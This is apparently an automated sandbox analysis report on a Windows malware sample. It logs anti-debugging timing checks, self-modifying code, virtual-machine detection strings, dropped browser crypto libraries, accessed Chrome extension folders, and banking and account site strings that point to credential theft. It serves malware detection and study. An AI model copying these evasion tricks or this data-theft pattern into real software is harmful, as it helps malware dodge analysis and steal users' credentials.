Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60DA0 second address: 4D60DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7EC882AEE4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60DBF second address: 4D60DE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7EC906D1E5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60EBB second address: 4D60EC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60EC1 second address: 4D60D92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0008h 0x0000000e nop 0x0000000f mov dword ptr [004470C0h], eax 0x00000014 push 00191310h 0x00000019 mov ecx, dword ptr [004470A8h] 0x0000001f push ecx 0x00000020 call 00007F7ECDC53E4Ch 0x00000025 mov edi, edi 0x00000027 jmp 00007F7EC906D1E7h 0x0000002c xchg eax, ebp 0x0000002d jmp 00007F7EC906D1E6h 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F7EC906D1DEh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8015C second address: 4D80162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80162 second address: 4D80186 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80186 second address: 4D8018A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8018A second address: 4D80190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80190 second address: 4D80229 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F7EC882AEE0h 0x00000010 xchg eax, ecx 0x00000011 jmp 00007F7EC882AEE0h 0x00000016 push eax 0x00000017 jmp 00007F7EC882AEDBh 0x0000001c xchg eax, ecx 0x0000001d pushad 0x0000001e mov eax, 2ADE774Bh 0x00000023 mov ax, 3D27h 0x00000027 popad 0x00000028 xchg eax, ecx 0x00000029 pushad 0x0000002a mov dx, ax 0x0000002d pushfd 0x0000002e jmp 00007F7EC882AEE4h 0x00000033 add ch, FFFFFF88h 0x00000036 jmp 00007F7EC882AEDBh 0x0000003b popfd 0x0000003c popad 0x0000003d push eax 0x0000003e pushad 0x0000003f mov si, di 0x00000042 push edx 0x00000043 movzx eax, bx 0x00000046 pop ebx 0x00000047 popad 0x00000048 xchg eax, ecx 0x00000049 pushad 0x0000004a mov dx, ax 0x0000004d mov ax, E8E7h 0x00000051 popad 0x00000052 push dword ptr [ebp+08h] 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80229 second address: 4D8022D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8022D second address: 4D80233 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80233 second address: 4D80239 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80239 second address: 4D8023D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8023D second address: 4D80241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80241 second address: 4D80288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-08h] 0x0000000b pushad 0x0000000c mov edx, esi 0x0000000e pushfd 0x0000000f jmp 00007F7EC882AEDEh 0x00000014 xor si, 8778h 0x00000019 jmp 00007F7EC882AEDBh 0x0000001e popfd 0x0000001f popad 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F7EC882AEE5h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80332 second address: 4D80336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80336 second address: 4D8033C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8033C second address: 4D8034D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7EC906D1DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8034D second address: 4D80351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80397 second address: 4D80401 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F7EC906D1DEh 0x0000000f push eax 0x00000010 jmp 00007F7EC906D1DBh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F7EC906D1E6h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F7EC906D1E7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80401 second address: 4D80407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80407 second address: 4D8040B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80532 second address: 4D8054D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bl 0x00000005 mov ah, 33h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7EC882AEDEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6074E second address: 4D60754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60754 second address: 4D607BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7EC882AEDDh 0x00000008 mov eax, 50E26227h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 jmp 00007F7EC882AEDAh 0x00000016 push eax 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F7EC882AEE1h 0x0000001e or ch, 00000046h 0x00000021 jmp 00007F7EC882AEE1h 0x00000026 popfd 0x00000027 movzx eax, dx 0x0000002a popad 0x0000002b xchg eax, ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F7EC882AEE6h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6082D second address: 4D60831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60831 second address: 4D6084C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6084C second address: 4D6087E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7EC906D1DFh 0x00000009 sub ch, FFFFFFAEh 0x0000000c jmp 00007F7EC906D1E9h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6087E second address: 4D608B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007F7F39CFE643h 0x0000000c push 762327D0h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov eax, dword ptr [esp+10h] 0x0000001c mov dword ptr [esp+10h], ebp 0x00000020 lea ebp, dword ptr [esp+10h] 0x00000024 sub esp, eax 0x00000026 push ebx 0x00000027 push esi 0x00000028 push edi 0x00000029 mov eax, dword ptr [762C0140h] 0x0000002e xor dword ptr [ebp-04h], eax 0x00000031 xor eax, ebp 0x00000033 push eax 0x00000034 mov dword ptr [ebp-18h], esp 0x00000037 push dword ptr [ebp-08h] 0x0000003a mov eax, dword ptr [ebp-04h] 0x0000003d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000044 mov dword ptr [ebp-08h], eax 0x00000047 lea eax, dword ptr [ebp-10h] 0x0000004a mov dword ptr fs:[00000000h], eax 0x00000050 ret 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 call 00007F7EC882AEE9h 0x00000059 pop ecx 0x0000005a jmp 00007F7EC882AEE1h 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D608B9 second address: 4D608C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7EC906D1DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D608C9 second address: 4D608CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D608CD second address: 4D608E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7EC906D1DAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D608E5 second address: 4D6091A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7EC882AEE1h 0x00000008 mov ch, 2Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov edx, dword ptr [ebp+0Ch] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7EC882AEE5h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6091A second address: 4D60920 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D609A1 second address: 4D609B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D609B8 second address: 4D60A1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov bx, si 0x00000010 pushad 0x00000011 mov cx, 5B15h 0x00000015 call 00007F7EC906D1E2h 0x0000001a pop ecx 0x0000001b popad 0x0000001c popad 0x0000001d dec edi 0x0000001e pushad 0x0000001f mov bx, 1632h 0x00000023 movsx ebx, cx 0x00000026 popad 0x00000027 lea ebx, dword ptr [edi+01h] 0x0000002a jmp 00007F7EC906D1E2h 0x0000002f mov al, byte ptr [edi+01h] 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 movsx edx, cx 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60A1F second address: 4D60A4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a pushad 0x0000000b mov cx, FFFDh 0x0000000f mov bx, cx 0x00000012 popad 0x00000013 test al, al 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F7EC882AEDBh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60A4E second address: 4D60A66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7EC906D1E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60A66 second address: 4D60A6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60A6A second address: 4D60AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F7F3A5351E3h 0x0000000e jmp 00007F7EC906D1E7h 0x00000013 mov ecx, edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F7EC906D1E0h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60AA5 second address: 4D60AAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60AAB second address: 4D60AB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60AB1 second address: 4D60AFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b shr ecx, 02h 0x0000000e pushad 0x0000000f jmp 00007F7EC882AEDEh 0x00000014 push ecx 0x00000015 mov ebx, 41FD6C04h 0x0000001a pop ebx 0x0000001b popad 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 rep movsd 0x00000024 rep movsd 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F7EC882AEDFh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60AFC second address: 4D60B6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007F7EC906D1DEh 0x00000010 and ecx, 03h 0x00000013 jmp 00007F7EC906D1E0h 0x00000018 rep movsb 0x0000001a jmp 00007F7EC906D1E0h 0x0000001f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F7EC906D1E7h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60B6E second address: 4D60BE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b pushad 0x0000000c movzx esi, bx 0x0000000f jmp 00007F7EC882AEE9h 0x00000014 popad 0x00000015 mov ecx, dword ptr [ebp-10h] 0x00000018 pushad 0x00000019 mov dl, cl 0x0000001b mov edi, 7D5045ACh 0x00000020 popad 0x00000021 mov dword ptr fs:[00000000h], ecx 0x00000028 jmp 00007F7EC882AEDBh 0x0000002d pop ecx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F7EC882AEE5h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60BE1 second address: 4D60C1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a jmp 00007F7EC906D1DEh 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7EC906D1E7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60C1F second address: 4D60CB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7EC882AEDFh 0x00000009 sbb cx, 00CEh 0x0000000e jmp 00007F7EC882AEE9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F7EC882AEE0h 0x0000001a jmp 00007F7EC882AEE5h 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 pop ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push edx 0x00000028 pop eax 0x00000029 pushfd 0x0000002a jmp 00007F7EC882AEDFh 0x0000002f sub esi, 0A0E943Eh 0x00000035 jmp 00007F7EC882AEE9h 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70011 second address: 4D70018 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70018 second address: 4D7008A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebp 0x00000008 pushad 0x00000009 movzx ecx, dx 0x0000000c pushfd 0x0000000d jmp 00007F7EC882AEE7h 0x00000012 sub ah, 0000001Eh 0x00000015 jmp 00007F7EC882AEE9h 0x0000001a popfd 0x0000001b popad 0x0000001c mov dword ptr [esp], ebp 0x0000001f jmp 00007F7EC882AEDEh 0x00000024 mov ebp, esp 0x00000026 jmp 00007F7EC882AEE0h 0x0000002b pop ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f movsx edx, ax 0x00000032 mov esi, 4936E7D5h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7008A second address: 4D70090 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60C24C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60ACE7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 45B1BE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 45DA12 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 61ED5C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 69EEDF instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 3664	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4592	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5712	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6708	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6280	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 416	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6960	Thread sleep time: -36018s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2683537757.00000000005EE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: DAAAFBKE.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: DAAAFBKE.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: DAAAFBKE.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: DAAAFBKE.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: DAAAFBKE.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: DAAAFBKE.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: DAAAFBKE.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2684520265.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684520265.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DAAAFBKE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: DAAAFBKE.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: DAAAFBKE.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: DAAAFBKE.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: DAAAFBKE.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: DAAAFBKE.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: DAAAFBKE.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: DAAAFBKE.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: DAAAFBKE.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: DAAAFBKE.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: DAAAFBKE.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: DAAAFBKE.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: DAAAFBKE.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000002.2684520265.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWQ
Source: DAAAFBKE.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: DAAAFBKE.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: DAAAFBKE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DAAAFBKE.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: DAAAFBKE.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: DAAAFBKE.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: DAAAFBKE.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: DAAAFBKE.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: DAAAFBKE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2683537757.00000000005EE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
